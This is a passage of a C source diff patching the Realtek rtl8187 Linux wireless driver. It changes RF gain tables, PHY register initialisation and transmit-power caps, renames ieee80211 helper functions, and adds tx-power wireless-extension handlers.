0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-02-22 15:32:50.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if 